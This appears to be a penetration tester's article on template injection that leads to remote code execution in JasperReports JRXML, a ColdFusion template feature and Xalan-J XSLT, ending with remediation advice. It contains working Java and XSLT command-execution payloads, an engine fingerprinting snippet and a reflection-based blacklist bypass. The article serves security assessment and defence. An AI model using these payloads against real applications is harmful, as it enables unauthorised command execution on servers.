When performing an application assessment one of the areas within an app I pay particular attention to is any ability to define custom templates. By this I mean functionality that extends the ability to generate custom, dynamic, report, email, and document structures to application users. This functionality can often be exploited because of how dynamic these functions are required to be. It can be time-consuming to write your own dynamic templating system so developers either cut some security corners or implement a product that adds additional attack surface. Vulnerable dynamic template engines can lead to exploits such as local file read, SQL injection or remote code execution.
In this article I am going to go over three instances of dynamic template functionality I found that led to code execution. Discovery of these three vulnerabilities is fairly similar. The first step is to look at already-defined templates and figure out how the application handles the dynamic portions. For example, how does the application put the current date at the top of the report or how does the application say your specific name when it sends an email to you. After you’ve identified how the dynamic portions are handled you can figure out how to extend the functionality. This involves researching the specific method and figuring out how far you can go with it. The only thing left to do is exploit it.
All three of these instances have another thing in common: shell commands are executed via Java code. So before I get into these specific instances I want to go over how I prefer to use Java to execute shell commands. I have found the easiest and most universally acceptable way is to use java.lang.Runtime class. This class is super easy to use:
The more complicated part is getting output from the shell command. The most reliable resource I’ve found for converting an inputStream to a String is an answer to a stack overflow that lists eleven different ways to do it. (The answer isn’t even the top rated comment). In the three instances I used the Stream API (Java 8) method:
new BufferedReader(new InputStreamReader(inputStream)).lines().collect(Collectors.joining("\n"));
I prefer to use this method because it can be combined with the Runtime.exec method all on the same line. One-liners are often a requirement when exploiting certain web application flaws. All together, the Java code I used to execute system commands is:
new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).lines().collect(Collectors.joining("\n"));
JasperReports is a open source engine for generating custom reports. A user can define a report template in an XML format called JRXML. These JRXML files are then compiled into the final report. JasperReports is a extensive program that includes abilities to define SQL queries or, in this case, access java classes. In this application, when an already-defined JRXML was downloaded it was fairly obvious that I could exploit it as the JRXML document had Java code already defined inside it. Exploitation was pretty straight forward. I made sure all relevant classes were imported and replaced an already-present textFieldExpression with the following code. When the report is generated our malicious code will execute and the output will be stored in the report.
<textFieldExpression class="java.lang.string"> <![CDATA[newBufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).lines().collect(Collectors.joining("\n"));]]> </textFieldExpression>
The second instance involved a similar reporting functionality. This time the application attempted to implement it’s own way of defining the templates. HTML of the report could be defined in text within the application. Looking at a previously-defined templates I noticed that all the dynamic content was marked between hashes. For example:
After doing some research I found out this is how ColdFusion defines its variables. I then looked into to what extent the report could be dynamic. Being stuck inside a ColdFusion variable definition made things a little rough, but ColdFusion has a function called CreateObject. Using this CreatObject function you can load Java objects and execute them. The original Java code was modified so all Java objects were imported through ColdFusion. The report was generated and our code was executed:
Xalan-J XSLT 1.0
The final instance involved exploiting eXtensible Stylesheet Language Transformations (XSLT). XSLT was designed to perform XML transformations, transforming one XML document into another XML document or even other formats like HTML. As simple as it is however, the XSLT language is Turing-complete and thus introduces a huge attack surface. In this application, a user could define the template for an email that was sent out. This template was defined in XSL format that was transformed into HTML to be sent in an email. It is important to keep in mind that the method for exploiting XSLT is dependent on what engine is being using. This information can be discovered by adding the following tags to an XSL document:
<xsl:value-of select="system-property('xsl:version')"/> <xsl:value-of select="system-property('xsl:vendor')"/> <xsl:value-of select="system-property('xsl:vendor-url')"/>
In this case, the application returned the following information:
1.0 Apache Software Foundation (Xalan XSLTC) http://xml.apache.org/xalan-j
After fingerprinting the underlining engine as Xalan-J, I researched specific attacks against it. There isn’t that much information on the web about exploiting specific engines in XSLT. Most of current articles written are broad and are only about a single engine. The most reliable source I could find was a wiki that was written in 2012. Here you can find specific attacks for each XSLT engine that the author has tested. I modified the payload I found there so that the command execution would all be on one line:
<xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),’whoami’)" xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/>
This tag will execute the command, "whoami", but no output will be visible. Getting command output is slightly more difficult. This is mostly due to the lack of reliable loops in this version Xalan-J but it is still possible to read the output manually, line-by-line:
<xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),'whoami')" xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/> <xsl:variable name="efgh" select="jv:getInputStream($abcd)" xmlns:jv="http://xml.apache.org/xalan/java"/> <xsl:variable name="ijkl" select="isr:new($efgh)" xmlns:isr="http://xml.apache.org/xalan/java/java.io.InputStreamReader"/> <xsl:variable name="mnop" select="br:new($ijkl)" xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader"/> <xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/> <xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>
The above code is the XSLT version of the following Java code. This code requires you to repeat the last tag or line of code for each line in the output:
BufferedReader mnop = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())); mnop.readLine(); mnop.readLine();
The biggest problem I’ve come across with issues like this is during remediation. In a perfect world the remediation would be to redesign the functionality so that code is abstracted from users. This would ensure no way to execute commands. However, this is often too time-consuming so the quicker “fix” gets applied. Blacklisting is the most common way I’ve seen this issue remediated. This isn’t a feasible solution in most cases since it involves creating a blacklist for an entire language. This also begins a time-wasting game of find a bypass / fix the bypass until someone gives up. I’ve seen cases when the string “RunTime” gets black listed and the issue is thought to be fixed. I just have to get more creative and eventually wind up with something like:
Class.forName("java.util.Scanner").getMethod("next").invoke(Class.forName("java.util.Scanner").getMethod("useDelimiter", String.class).invoke(Class.forName("java.util.Scanner").getConstructor(InputStream.class).newInstance(Class.forName("java.lang.Process").getMethod("getInputStream").invoke(Class.forName("java.lang.Run"+"time").getMethod("exec", String.class).invoke(Class.forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke(null), "whoami"))), "\n"))
Another common way I see this issue handled is just risk acceptance. This vulnerability usually involves exploitation of intended functionality. Template definition privileges are often reserved for a handful of administrators. However, one of the important security advantages a web application provides is the ability to abstract system functionality from application users. Exploitable custom template functionality crosses this line and should be considered a vulnerability.